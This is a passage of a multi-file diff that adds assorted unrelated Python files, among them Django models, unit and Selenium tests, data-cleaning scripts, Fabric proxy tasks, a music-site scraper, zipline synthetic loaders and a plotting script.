tornado.options.parse_config_file(options.config) + #print options.config, options.port, options.log_file_prefix, options.data + + def _load_data(self): + #TODO:: load data + pass + + def _init_db_pool(self): + self.db = GameBaseDB(database=options.database, + host=options.db_host, + user=options.db_user, + password=options.db_password, + maxsize=options.db_connect_num) + + self.server.group_id = options.user_group + pass + + def prepare_application(self): + # + self._load_data() + + # + self._init_db_pool() + diff --git a/pool/shard008/Python/0077310_models.py b/pool/shard008/Python/0077310_models.py new file mode 100644 index 0000000000000000000000000000000000000000..3ff7159827af21a05b7187786b797d903af98931 --- /dev/null +++ b/pool/shard008/Python/0077310_models.py @@ -0,0 +1,34 @@ +# -*- coding: utf-8 -*- +from django.db import models +from core.models import (ParentModel, SimpleAbstract, Image, Gallery, + get_file_name) +from events.models import Event +from django.utils.translation import ugettext, ugettext_lazy as _ +from datetime import date +from sorl.thumbnail import ImageField + + +class Leisure(ParentModel): + """ + Досуг + """ + image = ImageField(_("Image"), upload_to=get_file_name, blank=True, null=True) + section = models.ForeignKey("Section", blank=True) + distance = models.DecimalField(u'Расстояние', max_digits=5, + decimal_places=2, blank=True, null=True, + help_text=u'Расстояние от города в км.') + + class Meta: + verbose_name = u'Объект досуга' + verbose_name_plural = u'Объекты досуга' + + def get_absolute_path(self): + return "/leisure/{}".format(self.slug) + + +class Section(SimpleAbstract): + image = ImageField(_("Image"), upload_to=get_file_name, blank=True, null=True) + + class Meta: + verbose_name = u'Категория' + verbose_name_plural = u'Категории' diff --git a/pool/shard008/Python/0077311_test_adapters.py b/pool/shard008/Python/0077311_test_adapters.py new file mode 100644 index 0000000000000000000000000000000000000000..932c1e5cc3faef100635cb522d976a7cb8d9bcae --- /dev/null +++ b/pool/shard008/Python/0077311_test_adapters.py @@ -0,0 +1,43 @@ +import unittest +import xml.etree.ElementTree as ET +import os + + +from lifter import parsers, models, utils, adapters + +BASE_DIR = os.path.abspath(os.path.dirname(__file__)) +DATA_PATH = os.path.join(BASE_DIR, 'data', 'bucket.xml') + + +class StaticFile(models.Model): + pass + + +class Adapter(adapters.ETreeAdapter): + pass + + +class TestETreeAdapter(unittest.TestCase): + def setUp(self): + with open(DATA_PATH) as f: + content = f.read() + self.ns = { + 'amazon': 'http://s3.amazonaws.com/doc/2006-03-01/' + } + parser = parsers.XMLParser( + results='./amazon:Contents', + ns=self.ns, + ) + self.results = parser.parse(content) + + def test_etree_adapter(self): + self.assertEqual(len(self.results), 8) + + adapter = adapters.ETreeAdapter() + for r in self.results: + static_file = adapter.parse(r, StaticFile) + for e in r: + name = utils.to_snake_case(adapter.tag_to_field_name(e.tag)) + v = getattr(static_file, name) + + self.assertEqual(v, e.text) diff --git a/pool/shard008/Python/0077312_plugin_docs.py b/pool/shard008/Python/0077312_plugin_docs.py new file mode 100644 index 0000000000000000000000000000000000000000..2ac22475685c0b56df7633636ef1fb8c201c0678 --- /dev/null +++ b/pool/shard008/Python/0077312_plugin_docs.py @@ -0,0 +1,31 @@ +from django import template + +from .. import utils + +register = template.Library() + + +class PluginDocsNode(template.Node): + + def __init__(self, plugin, channel): + self.plugin = plugin + self.channel = channel + + def render(self, context): + plugin = self.plugin.resolve(context) + channel = self.channel.resolve(context) + return utils.plugin_docs_as_html(plugin, channel) + + +@register.tag +def plugin_docs(parser, token): + bits = token.split_contents() + + if len(bits) < 3: + raise template.TemplateSyntaxError("'%s' takes two arguments" + " (plugin and channel)" % bits[0]) + + plugin = parser.compile_filter(bits[1]) + channel = parser.compile_filter(bits[2]) + + return PluginDocsNode(plugin, channel) \ No newline at end of file diff --git a/pool/shard008/Python/0077316_create_colombia_places.py b/pool/shard008/Python/0077316_create_colombia_places.py new file mode 100644 index 0000000000000000000000000000000000000000..94a197ab6264151ebeb63e9392713d26b1781842 --- /dev/null +++ b/pool/shard008/Python/0077316_create_colombia_places.py @@ -0,0 +1,85 @@ +import os +import sys +import re + +import numpy as np +import pandas as pd +import unicodedata + +sys.path.append(os.getcwd()) +import src.helper as helper + + +@np.vectorize +def clean_string(x, column, municipality_clean=['Bogota']): + title_case = x.title().strip() + # no_accents = unicodedata.normalize('NFKD', title_case).\ + # encode('ascii','ignore') + no_accents = helper.strip_accents(title_case) + unknown = re.sub(r'.*Municipio Desconocido$', 'Unknown', no_accents) + + s = unknown + if column == 'municipality': + for municipality in municipality_clean: + regex = r'^{}\s?-\s?'.format(municipality) + remove_prepend_department = re.sub(regex, '', s) + dashed = re.sub(r'\s*-\s*', '_', remove_prepend_department) + s = re.sub(r' ', '_', dashed) + return(s) + else: + s = re.sub(r' ', '_', s) + return(s) + + +def main(): + buzzfeed_municipal_colombia_datasets = helper.get_data_from_path( + os.path.join('..', 'zika-data', 'data', + 'parsed', 'colombia', '*municipal*.csv')) + print(buzzfeed_municipal_colombia_datasets) + + all_department_municipality = pd.DataFrame() + for data_path in buzzfeed_municipal_colombia_datasets: + df = pd.read_csv(data_path) + department_municipality = df[['department', 'municipality']] + all_department_municipality = pd.concat([all_department_municipality, + department_municipality], + ignore_index=True) + print("all_department_municipality shape: {}".format( + all_department_municipality.shape)) + + all_department_municipality['state_province'] = clean_string( + all_department_municipality['department'], 'department') + + all_department_municipality['district_county_municipality'] = clean_string( + all_department_municipality['municipality'], 'municipality') + + # print(all_department_municipality. + # ix[all_department_municipality['municipality']. + # str. + # match('.*-.*'), :]) + + all_department_municipality['country'] = "Colombia" + all_department_municipality['location_type'] = "state" + all_department_municipality['city'] = "NA" + all_department_municipality['alt_name1'] = \ + all_department_municipality['department'] + all_department_municipality['alt_name2'] = \ + all_department_municipality['municipality'] + all_department_municipality['location'] = \ + all_department_municipality['country'] + '-' + \ + all_department_municipality['state_province'] + '-' + \ + all_department_municipality['district_county_municipality'] + + co_places = all_department_municipality[['location', + 'location_type', + 'country', + 'state_province', + 'district_county_municipality', + 'city', + 'alt_name1', + 'alt_name2']].\ + drop_duplicates() + + co_places.to_csv('output/CO_Places.csv', index=False) +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0077319_proxy.py b/pool/shard008/Python/0077319_proxy.py new file mode 100644 index 0000000000000000000000000000000000000000..2105d2ec0fb97d023bc0350f5546c5ea2726f3c2 --- /dev/null +++ b/pool/shard008/Python/0077319_proxy.py @@ -0,0 +1,40 @@ +import cuisine +from fabric.api import env, task, roles, sudo, execute +from quilt import utilities, contrib + + +@roles('proxy') +@task +def ensure(): + utilities.notify(u'Configuring the proxy server.') + + context = env + context.update({'domain_names': ' '.join(env.project_allowed_hosts)}) + cuisine.mode_sudo() + content = cuisine.text_template(env.proxy_config_template, context) + cuisine.file_write(env.proxy_config_file, content) + execute(restart) + + +@roles('proxy') +@task +def start(): + utilities.notify(u'Starting the proxy server.') + + sudo(env.proxy_command_start) + + +@roles('proxy') +@task +def stop(): + utilities.notify(u'Stopping the proxy server.') + + sudo(env.proxy_command_stop) + + +@roles('proxy') +@task +def restart(): + utilities.notify(u'Restarting the proxy server.') + + sudo(env.proxy_command_restart) diff --git a/pool/shard008/Python/0077320_parser.py b/pool/shard008/Python/0077320_parser.py new file mode 100644 index 0000000000000000000000000000000000000000..3edb4d9c7ccc64452dc4b9c0d1c29512b605d41e --- /dev/null +++ b/pool/shard008/Python/0077320_parser.py @@ -0,0 +1,111 @@ +import time + +from mongoengine.connection import disconnect + +from models import Artist, Song, Comment, User, Process +from app import create_app + +from spider.utils import get_user_agent, get_tree, post + +DISCOVER_URL = 'http://music.163.com/discover/artist/cat?id={}&initial={}' +ARTIST_URL = 'http://music.163.com/artist?id={}' +SONG_URL = 'http://music.163.com/song?id={}' +COMMENTS_URL = 'http://music.163.com/weapi/v1/resource/comments/R_SO_4_{}' # noqa + + +def parser_artist_list(cat_id, initial_id): + tree = get_tree(DISCOVER_URL.format(cat_id, initial_id)) + artist_items = tree.xpath('//a[contains(@class, "nm-icn")]/@href') + + return [item.split('=')[1] for item in artist_items] + + +def unprocess_artist_list(): + create_app() + unprocess = Process.objects.filter(status=Process.PENDING) + return [p.id for p in unprocess] + + +def parser_artist(artist_id): + create_app() + process = Process.get_or_create(id=artist_id) + if process.is_success: + return + + print 'Starting fetch artist: {}'.format(artist_id) + start = time.time() + print 'start time at: ',start + process = Process.get_or_create(id=artist_id) + + tree = get_tree(ARTIST_URL.format(artist_id)) + + artist = Artist.objects.filter(id=artist_id) + if not artist: + artist_name = tree.xpath('//h2[@id="artist-name"]/text()')[0] + picture = tree.xpath( + '//div[contains(@class, "n-artist")]//img/@src')[0] + artist = Artist(id=artist_id, name=artist_name, picture=picture) + artist.save() + else: + artist = artist[0] + song_items = tree.xpath('//div[@id="artist-top50"]//ul/li/a/@href') + songs = [] + for item in song_items: + song_id = item.split('=')[1] + song = parser_song(song_id, artist) + if song is not None: + songs.append(song) + artist.songs = songs + artist.save() + process.make_succeed() + print 'Finished fetch artist: {} Cost: {}'.format( + artist_id, time.time() - start) + + +def parser_song(song_id, artist): + tree = get_tree(SONG_URL.format(song_id)) + song = Song.objects.filter(id=song_id) + r = post(COMMENTS_URL.format(song_id)) + if r.status_code != 200: + print 'API Error: Song {}'.format(song_id) + return + data = r.json() + if not song: + for404 = tree.xpath('//div[@class="n-for404"]') + if for404: + return + + try: + song_name = tree.xpath('//em[@class="f-ff2"]/text()')[0].strip() + except IndexError: + try: + song_name = tree.xpath( + '//meta[@name="keywords"]/@content')[0].strip() + except IndexError: + print 'Fetch limit!' + time.sleep(10) + return parser_song(song_id, artist) + song = Song(id=song_id, name=song_name, artist=artist, + comment_count=data['total']) + song.save() + else: + song = song[0] + comments = [] + for comment_ in data['hotComments']: + comment_id = comment_['commentId'] + content = comment_['content'] + like_count = comment_['likedCount'] + user = comment_['user'] + if not user: + continue + user = User.get_or_create(id=user['userId'], name=user['nickname'], + picture=user['avatarUrl']) + comment = Comment.get_or_create(id=comment_id, content=content, + like_count=like_count, user=user, + song=song) + comment.save() + comments.append(comment) + song.comments = comments + song.save() + time.sleep(1) + return song diff --git a/pool/shard008/Python/0077327_weather.py b/pool/shard008/Python/0077327_weather.py new file mode 100644 index 0000000000000000000000000000000000000000..ca84061a5ac0c9cc5d3846305456e0cb34a76cf9 --- /dev/null +++ b/pool/shard008/Python/0077327_weather.py @@ -0,0 +1,42 @@ +# Simple Python application using Festival Text-to-Speech +# +# Author: David Zhang +# Steven Bird +# URL: +# For license information, see LICENSE.TXT + +""" +Simple application demonstrating the use of the Festival Text-to-Speech +function in Python through the "tts" extension module. The application +downloads the web page for Melbourne weather forecast, uses a regular +expression to extract the relevant section of the page, then sends the result +to the tts module to be converted to speech. + +As the URL and the regular expression are both hard-coded, this application +is very sensitive to changes in the location and layout of the target web +page. +""" + +import urllib, re +import nltk_contrib.misc.festival.tts as tts + +URL = "http://www.bom.gov.au/cgi-bin/wrap_fwo.pl?IDV10450.txt" +REGEXP = "(Forecast for Melbourne .*)Suburban" + +try: + page = urllib.urlopen(URL).read() +except IOError, e: + print "Unable to connect to web server." + sys.exit(1) + +x = re.search(REGEXP, page, re.DOTALL) # DOTALL ensures newlines are included + +if x: + text = x.group(1) + print text + + tts.initialize() + tts.say_text(text) + +else: + print "Web page does not have the expected format." diff --git a/pool/shard008/Python/0077328_init__.py b/pool/shard008/Python/0077328_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..70697e288ffee28fdc5da09c3591be7032aacbdf --- /dev/null +++ b/pool/shard008/Python/0077328_init__.py @@ -0,0 +1,62 @@ +from django.contrib.auth import models as auth_app +from django.db.models import signals + +import object_tools + + +def _get_permission_codename(tool, opts): + return u'%s_%s' % (tool.name, opts.object_name.lower()) + + +def _get_all_permissions(opts, tools): + "Returns (codename, name) for all tools." + perms = [] + for tool in tools: + perms.append((_get_permission_codename(tool, opts), u'Can %s %s' % \ + (tool.name, opts.verbose_name_plural))) + return perms + + +def create_permissions(app, created_models, verbosity, **kwargs): + """ + Almost exactly the same as django.contrib.auth.management.__init__.py + """ + from django.contrib.contenttypes.models import ContentType + + object_tools.autodiscover() + tools = object_tools.tools._registry + + # This will hold the permissions we're looking for as + # (content_type, (codename, name)) + searched_perms = list() + # The codenames and ctypes that should exist. + ctypes = set() + for model, tools in tools.iteritems(): + ctype = ContentType.objects.get_for_model(model) + ctypes.add(ctype) + for perm in _get_all_permissions(model._meta, tools): + searched_perms.append((ctype, perm)) + + # Find all the Permissions that have a context_type for a model we're + # looking for. We don't need to check for codenames since we already have + # a list of the ones we're going to create. + all_perms = set(auth_app.Permission.objects.filter( + content_type__in=ctypes, + ).values_list( + "content_type", "codename" + )) + + for ctype, (codename, name) in searched_perms: + # If the permissions exists, move on. + if (ctype.pk, codename) in all_perms: + continue + p = auth_app.Permission.objects.create( + codename=codename, + name=name, + content_type=ctype + ) + if verbosity >= 2: + print "Adding permission '%s'" % p + +signals.post_syncdb.connect(create_permissions, + dispatch_uid="object_tools.management.create_permissions") diff --git a/pool/shard008/Python/0077329_generate_metrics_schema_json.py b/pool/shard008/Python/0077329_generate_metrics_schema_json.py new file mode 100644 index 0000000000000000000000000000000000000000..f94be71ac5987955b4577c769d4eab9080fecc7e --- /dev/null +++ b/pool/shard008/Python/0077329_generate_metrics_schema_json.py @@ -0,0 +1,45 @@ +#!/usr/bin/python + +import json, sys, time + +"""Converts the Metrics JSON schema into a C++ header file, minimizing the JSON in the process""" + +PREFIX = """#pragma once + +// THIS FILE IS AUTOGENERATED BY 'generate_metrics_schema_json.py'. DO NOT EDIT. +// Avro C++ requires that we provide the JSON schema directly, not just use the generated structs. + +// Generated at: %s +// Command: %s + +namespace metrics_schema { + const std::string SCHEMA_JSON(R"JSON(""" % (time.ctime(), " ".join(sys.argv)) + +SUFFIX = """)JSON"); +} + +// AGAIN, THIS FILE IS AUTOGENERATED BY 'generate_metrics_schema_json.py'. DO NOT EDIT. +""" + +def strip_doc_fields(json_tree): + json_tree.pop("doc", None) + for k,v in json_tree.items(): + if isinstance(v,list): + for ventry in v: + if isinstance(ventry,dict): + strip_doc_fields(ventry) # recurse + elif isinstance(v,dict): + strip_doc_fields(v) # recurse + return json_tree + +def generate(infile, outfile): + json_stripped = strip_doc_fields(json.load(infile)) + outfile.write(PREFIX) + json.dump(json_stripped, outfile, separators=(',',':'), sort_keys=True) + outfile.write(SUFFIX) + +if __name__ == "__main__": + inpath = sys.argv[1] + outpath = sys.argv[2] + print("{} => {}".format(inpath, outpath)) + generate(open(inpath), open(outpath, 'wb')) diff --git a/pool/shard008/Python/0077332_test_copy_paste.py b/pool/shard008/Python/0077332_test_copy_paste.py new file mode 100644 index 0000000000000000000000000000000000000000..5db13810658211d1fec688c16ecd42b6fc96b9d6 --- /dev/null +++ b/pool/shard008/Python/0077332_test_copy_paste.py @@ -0,0 +1,69 @@ +#----------------------------------------------------------------------------- +# Copyright (c) 2012 - 2017, Anaconda, Inc. All rights reserved. +# +# Powered by the Bokeh Development Team. +# +# The full license is in the file LICENSE.txt, distributed with this software. +#----------------------------------------------------------------------------- + +#----------------------------------------------------------------------------- +# Boilerplate +#----------------------------------------------------------------------------- +import pytest ; pytest + +#----------------------------------------------------------------------------- +# Imports +#----------------------------------------------------------------------------- + +# Standard library imports +from time import sleep + +# Bokeh imports +from bokeh._testing.util.selenium import ( + copy_table_rows, + enter_text_in_cell_with_click_enter, + get_page_element, + paste_values, +) +from bokeh.layouts import column +from bokeh.models import ColumnDataSource, DataTable, Div, TableColumn + +#----------------------------------------------------------------------------- +# Tests +#----------------------------------------------------------------------------- + +pytest_plugins = ( + "bokeh._testing.plugins.project", +) + +@pytest.mark.selenium +class Test_CopyPaste(object): + + def test_copy_paste_to_textarea(self, bokeh_model_page) -> None: + source = ColumnDataSource(dict(x=[1, 2], y=[1, 1])) + columns = [TableColumn(field='x', title='x'), TableColumn(field='y', title='y')] + table = DataTable(source=source, columns=columns, editable=False, width=600) + text_area = Div(text='') + + page = bokeh_model_page(column(table, text_area)) + + # Use reversed order to get the correct order + copy_table_rows(page.driver, [2, 1]) + + # Copy is a little slow + sleep(0.1) + + element = get_page_element(page.driver, '#T1') + + # Selenium doesn't paste until we write something to the element first + # textarea works like a cell + enter_text_in_cell_with_click_enter(page.driver, element, 'PASTED:') + + paste_values(page.driver, element) + + result = element.get_attribute('value') + + # The textarea now contains the content in the datatable + assert result == '\nPASTED:\n0\t1\t1\n1\t2\t1\n' + + assert page.has_no_console_errors() diff --git a/pool/shard008/Python/0077334_models.py b/pool/shard008/Python/0077334_models.py new file mode 100644 index 0000000000000000000000000000000000000000..c5de91bcaa1a7b78d6521a2270ebd97e760ecf19 --- /dev/null +++ b/pool/shard008/Python/0077334_models.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +# Copyright (c) 2017 Huawei Technologies Co.,Ltd and others. +# +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Apache License, Version 2.0 +# which accompanies this distribution, and is available at +# http://www.apache.org/licenses/LICENSE-2.0 + +""" +Define tables for tasks +""" + +from sqlalchemy import Column +from sqlalchemy import Integer +from sqlalchemy import String +from sqlalchemy import Text + +from functest.api.database.db import BASE + + +class Tasks(BASE): # pylint: disable=too-few-public-methods, no-init + """ Create a table for tasks""" + + __tablename__ = 'tasks' + id = Column(Integer, primary_key=True) # pylint: disable=invalid-name + task_id = Column(String(50)) + status = Column(Integer) + error = Column(String(120)) + result = Column(Text) + + def __repr__(self): + return '' % Tasks.task_id diff --git a/pool/shard008/Python/0077338_commtrack.py b/pool/shard008/Python/0077338_commtrack.py new file mode 100644 index 0000000000000000000000000000000000000000..69fad9b9c7e36b4e6988b1f2640ad61b0424312b --- /dev/null +++ b/pool/shard008/Python/0077338_commtrack.py @@ -0,0 +1,31 @@ +from corehq.apps.programs.models import Program +from corehq.apps.reports.filters.base import BaseSingleOptionFilter, CheckboxFilter +from django.utils.translation import ugettext_lazy, ugettext_noop + + +class SelectReportingType(BaseSingleOptionFilter): + slug = "report_type" + label = ugettext_noop("Reporting data type") + default_text = ugettext_noop("Show aggregate data") + + @property + def options(self): + return [ + ("facilities", "Show facility level data"), + ] + + +class AdvancedColumns(CheckboxFilter): + label = ugettext_lazy("Show advanced columns") + slug = "advanced_columns" + + +class ProgramFilter(BaseSingleOptionFilter): + slug = "program" + label = ugettext_noop("Program") + default_text = ugettext_lazy("All") + + @property + def options(self): + programs = Program.by_domain(self.domain) + return [(program.get_id, program.name) for program in programs] diff --git a/pool/shard008/Python/0077340_version.py b/pool/shard008/Python/0077340_version.py new file mode 100644 index 0000000000000000000000000000000000000000..3cef9b256709b260177bb6a953d7f17b05a32167 --- /dev/null +++ b/pool/shard008/Python/0077340_version.py @@ -0,0 +1,55 @@ +""" +Tests that the stem.version functions can handle the tor instance we're +running with. +""" + +import unittest + +import stem.prereq +import stem.version +import test.runner + +from test.util import ( + require_command, + require_controller, +) + + +class TestVersion(unittest.TestCase): + @require_command('tor') + def test_get_system_tor_version(self): + """ + Basic verification checks for the get_system_tor_version() function. + """ + + # Since tor is in our path we should expect to be able to get the version + # that way, though this might not belong to our test instance (if we're + # running against a specific tor binary). + + stem.version.get_system_tor_version() + + # try running against a command that exists, but isn't tor + self.assertRaises(IOError, stem.version.get_system_tor_version, 'ls') + + # try running against a command that doesn't exist + self.assertRaises(IOError, stem.version.get_system_tor_version, 'blarg') + + @require_controller + def test_getinfo_version_parsing(self): + """ + Issues a 'GETINFO version' query to our test instance and makes sure that + we can parse it. + """ + + control_socket = test.runner.get_runner().get_tor_socket() + control_socket.send('GETINFO version') + version_response = control_socket.recv() + control_socket.close() + + # the getinfo response looks like... + # 250-version=0.2.3.10-alpha-dev (git-65420e4cb5edcd02) + # 250 OK + + tor_version = list(version_response)[0] + tor_version = tor_version[8:].split(' ', 1)[0] + stem.version.Version(tor_version) diff --git a/pool/shard008/Python/0077341_synthetic.py b/pool/shard008/Python/0077341_synthetic.py new file mode 100644 index 0000000000000000000000000000000000000000..15bdeb3733a2f6b17fe0aec4381d1f3f98e74aeb --- /dev/null +++ b/pool/shard008/Python/0077341_synthetic.py @@ -0,0 +1,263 @@ +""" +Synthetic data loaders for testing. +""" +from bcolz import ctable + +from numpy import ( + arange, + array, + float64, + full, + iinfo, + uint32, +) +from pandas import DataFrame, Timestamp +from six import iteritems +from sqlite3 import connect as sqlite3_connect + +from .base import PipelineLoader +from .frame import DataFrameLoader +from .equity_pricing_loader import ( + BcolzDailyBarWriter, + SQLiteAdjustmentReader, + SQLiteAdjustmentWriter, + US_EQUITY_PRICING_BCOLZ_COLUMNS, +) + + +UINT_32_MAX = iinfo(uint32).max + + +def nanos_to_seconds(nanos): + return nanos / (1000 * 1000 * 1000) + + +class MultiColumnLoader(PipelineLoader): + """ + PipelineLoader that can delegate to sub-loaders. + + Parameters + ---------- + loaders : dict + Dictionary mapping columns -> loader + """ + def __init__(self, loaders): + self._loaders = loaders + + def load_adjusted_array(self, columns, dates, assets, mask): + """ + Load by delegating to sub-loaders. + """ + out = [] + for col in columns: + try: + loader = self._loaders[col] + except KeyError: + raise ValueError("Couldn't find loader for %s" % col) + out.extend(loader.load_adjusted_array([col], dates, assets, mask)) + return out + + +class ConstantLoader(MultiColumnLoader): + """ + Synthetic PipelineLoader that returns a constant value for each column. + + Parameters + ---------- + constants : dict + Map from column to value(s) to use for that column. + Values can be anything that can be passed as the first positional + argument to a DataFrame of the same shape as `mask`. + mask : pandas.DataFrame + Mask indicating when assets existed. + Indices of this frame are used to align input queries. + + Notes + ----- + Adjustments are unsupported with ConstantLoader. + """ + def __init__(self, constants, dates, assets): + loaders = {} + for column, const in iteritems(constants): + frame = DataFrame( + const, + index=dates, + columns=assets, + dtype=column.dtype, + ) + loaders[column] = DataFrameLoader( + column=column, + baseline=frame, + adjustments=None, + ) + + super(ConstantLoader, self).__init__(loaders) + + +class SyntheticDailyBarWriter(BcolzDailyBarWriter): + """ + Bcolz writer that creates synthetic data based on asset lifetime metadata. + + For a given asset/date/column combination, we generate a corresponding raw + value using the following formula for OHLCV columns: + + data(asset, date, column) = (100,000 * asset_id) + + (10,000 * column_num) + + (date - Jan 1 2000).days # ~6000 for 2015 + where: + column_num('open') = 0 + column_num('high') = 1 + column_num('low') = 2 + column_num('close') = 3 + column_num('volume') = 4 + + We use days since Jan 1, 2000 to guarantee that there are no collisions + while also the produced values smaller than UINT32_MAX / 1000. + + For 'day' and 'id', we use the standard format expected by the base class. + + Parameters + ---------- + asset_info : DataFrame + DataFrame with asset_id as index and 'start_date'/'end_date' columns. + calendar : DatetimeIndex + Calendar to use for constructing asset lifetimes. + """ + OHLCV = ('open', 'high', 'low', 'close', 'volume') + OHLC = ('open', 'high', 'low', 'close') + PSEUDO_EPOCH = Timestamp('2000-01-01', tz='UTC') + + def __init__(self, asset_info, calendar): + super(SyntheticDailyBarWriter, self).__init__() + assert ( + # Using .value here to avoid having to care about UTC-aware dates. + self.PSEUDO_EPOCH.value < + calendar.min().value <= + asset_info['start_date'].min().value + ) + assert (asset_info['start_date'] < asset_info['end_date']).all() + self._asset_info = asset_info + self._calendar = calendar + + def _raw_data_for_asset(self, asset_id): + """ + Generate 'raw' data that encodes information about the asset. + + See class docstring for a description of the data format. + """ + # Get the dates for which this asset existed according to our asset + # info. + dates = self._calendar[ + self._calendar.slice_indexer( + self.asset_start(asset_id), self.asset_end(asset_id) + ) + ] + + data = full( + (len(dates), len(US_EQUITY_PRICING_BCOLZ_COLUMNS)), + asset_id * (100 * 1000), + dtype=uint32, + ) + + # Add 10,000 * column-index to OHLCV columns + data[:, :5] += arange(5) * (10 * 1000) + + # Add days since Jan 1 2001 for OHLCV columns. + data[:, :5] += (dates - self.PSEUDO_EPOCH).days[:, None] + + frame = DataFrame( + data, + index=dates, + columns=US_EQUITY_PRICING_BCOLZ_COLUMNS, + ) + + frame['day'] = nanos_to_seconds(dates.asi8) + frame['id'] = asset_id + + return ctable.fromdataframe(frame) + + def asset_start(self, asset): + ret = self._asset_info.loc[asset]['start_date'] + if ret.tz is None: + ret = ret.tz_localize('UTC') + assert ret.tzname() == 'UTC', "Unexpected non-UTC timestamp" + return ret + + def asset_end(self, asset): + ret = self._asset_info.loc[asset]['end_date'] + if ret.tz is None: + ret = ret.tz_localize('UTC') + assert ret.tzname() == 'UTC', "Unexpected non-UTC timestamp" + return ret + + @classmethod + def expected_value(cls, asset_id, date, colname): + """ + Check that the raw value for an asset/date/column triple is as + expected. + + Used by tests to verify data written by a writer. + """ + from_asset = asset_id * 100 * 1000 + from_colname = cls.OHLCV.index(colname) * (10 * 1000) + from_date = (date - cls.PSEUDO_EPOCH).days + return from_asset + from_colname + from_date + + def expected_values_2d(self, dates, assets, colname): + """ + Return an 2D array containing cls.expected_value(asset_id, date, + colname) for each date/asset pair in the inputs. + + Values before/after an assets lifetime are filled with 0 for volume and + NaN for price columns. + """ + if colname == 'volume': + dtype = uint32 + missing = 0 + else: + dtype = float64 + missing = float('nan') + + data = full((len(dates), len(assets)), missing, dtype=dtype) + for j, asset in enumerate(assets): + start, end = self.asset_start(asset), self.asset_end(asset) + for i, date in enumerate(dates): + # No value expected for dates outside the asset's start/end + # date. + if not (start <= date <= end): + continue + data[i, j] = self.expected_value(asset, date, colname) + return data + + # BEGIN SUPERCLASS INTERFACE + def gen_tables(self, assets): + for asset in assets: + yield asset, self._raw_data_for_asset(asset) + + def to_uint32(self, array, colname): + if colname in {'open', 'high', 'low', 'close'}: + # Data is stored as 1000 * raw value. + assert array.max() < (UINT_32_MAX / 1000), "Test data overflow!" + return array * 1000 + else: + assert colname in ('volume', 'day'), "Unknown column: %s" % colname + return array + # END SUPERCLASS INTERFACE + + +class NullAdjustmentReader(SQLiteAdjustmentReader): + """ + A SQLiteAdjustmentReader that stores no adjustments and uses in-memory + SQLite. + """ + + def __init__(self): + conn = sqlite3_connect(':memory:') + writer = SQLiteAdjustmentWriter(conn) + empty = DataFrame({ + 'sid': array([], dtype=uint32), + 'effective_date': array([], dtype=uint32), + 'ratio': array([], dtype=float), + }) + writer.write(splits=empty, mergers=empty, dividends=empty) + super(NullAdjustmentReader, self).__init__(conn) diff --git a/pool/shard008/Python/0077343_credibility.py b/pool/shard008/Python/0077343_credibility.py new file mode 100644 index 0000000000000000000000000000000000000000..2da786bc8235e0325d52a219ee81dc483dfd8031 --- /dev/null +++ b/pool/shard008/Python/0077343_credibility.py @@ -0,0 +1,62 @@ +from __future__ import division # floating-point division + + +class DocumentationCredibility: + """ + DocumentationCredibility class provides simple key(0-5 (LOW to HIGH)) to credibility conversion + based on Unknown to Total commands ratio. + :param credibility: credibility computed from number of unknown vs. total commands provided to the constructor + :param credibilityTable: dictionary-like key-to-credibility conversion + """ + credibility = "" + + credibilityTable = {0: 'None', + 1: 'Very low', + 2: 'Low', + 3: 'Medium', + 4: 'High', + 5: 'Very high'} + + def __init__(self, unknown_commands, total_commands): + percent_correct = self.compute_percent_correct(unknown_commands, total_commands) + self.credibility = self.compute_credibility(percent_correct) + + def lookup_credibility(self, key): + return self.credibilityTable.get(key, "unknown") + + def compute_credibility_key(self, percent_correct): + """ + Computes credibility key by 20% increments (known/total commands ratio), starting from zero. + :return: key for credibility computation (0-5) + """ + if self.is_zero(percent_correct): + return 0 + elif self.all_correct(percent_correct): + return 5 + else: + return (percent_correct // 20) + 1 + + def compute_credibility(self, percent_correct): + key = self.compute_credibility_key(percent_correct) + return self.lookup_credibility(key) + + def get_credibility(self): + return self.credibility + + def compute_percent_correct(self, unknown_commands, total_commands): + if self.is_zero(total_commands): + return 100 + else: + return self.round_to_two_places((1 - (unknown_commands / total_commands)) * 100) + + @staticmethod + def is_zero(number): + return round(number) == 0 + + @staticmethod + def all_correct(number): + return round(number) == 100 + + @staticmethod + def round_to_two_places(number): + return round(number, 2) diff --git a/pool/shard008/Python/0077344_generate-movie-plots.py b/pool/shard008/Python/0077344_generate-movie-plots.py new file mode 100644 index 0000000000000000000000000000000000000000..5d7bacd2c90bab751845e19819822f32bc06ab88 --- /dev/null +++ b/pool/shard008/Python/0077344_generate-movie-plots.py @@ -0,0 +1,150 @@ +#!/usr/bin/env python3 + +import os +import sys +import argparse +import matplotlib as mpl +#mpl.use('Qt5Agg') +mpl.use('Agg') +import matplotlib.pyplot as plot +import numpy as np +try: + import plutokore as pk +except ImportError: + sys.path.append(os.path.join(os.path.dirname(os.path.realpath(__file__)), '../')) +import plutokore as pk +from astropy import units as u +import pathlib + +def plot_movie(simulation_dir, + output_dir, + outputs, + unit_values, + environment, + jet): + x = None + y = None + pathlib.Path(output_dir).mkdir(parents = True, exist_ok = True) + for o in outputs: + data = pk.simulations.load_timestep_data(o, simulation_dir) + if x is None: + x, y = pk.simulations.sphericaltocartesian(data, rotation = 0) * unit_values.length + f, a = plot.subplots(figsize=(10, 10)) + a.set_aspect('equal') + a.set_xlim(-1100, 1100) + a.set_ylim(-500, 500) + im1 = a.pcolormesh(x, -y, np.log10(data.rho * unit_values.density.value).T, rasterized = True, edgecolors = 'face', shading = 'flat', vmin = -30, vmax = -26) + im2 = a.pcolormesh(x, y, np.log10(data.rho * unit_values.density.value).T, rasterized = True, edgecolors = 'face', shading = 'flat', vmin = -30, vmax = -26) + a.set_position([0, 0, 1, 1]) + a.set_xticklabels([]) + a.set_yticklabels([]) + a.set_xticks([]) + a.set_yticks([]) + a.set_axis_off() + + im1.set_cmap('viridis') + im2.set_cmap('viridis') + f.savefig(f'{output_dir}/rho-viridis-{o:03d}.png', dpi=200, bbox_inches = 'tight', pad_inches = 0) + + im1.set_cmap('magma') + im2.set_cmap('magma') + f.savefig(f'{output_dir}/rho-magma-{o:03d}.png', dpi=200, bbox_inches = 'tight', pad_inches = 0) + + plot.close(f) + print(f'Plotted {o} for {simulation_dir}') + +def get_times(sim_dir): + with open(os.path.join(sim_dir, 'dbl.out'), "r") as f_var: + tlist = [] + for line in f_var.readlines(): + 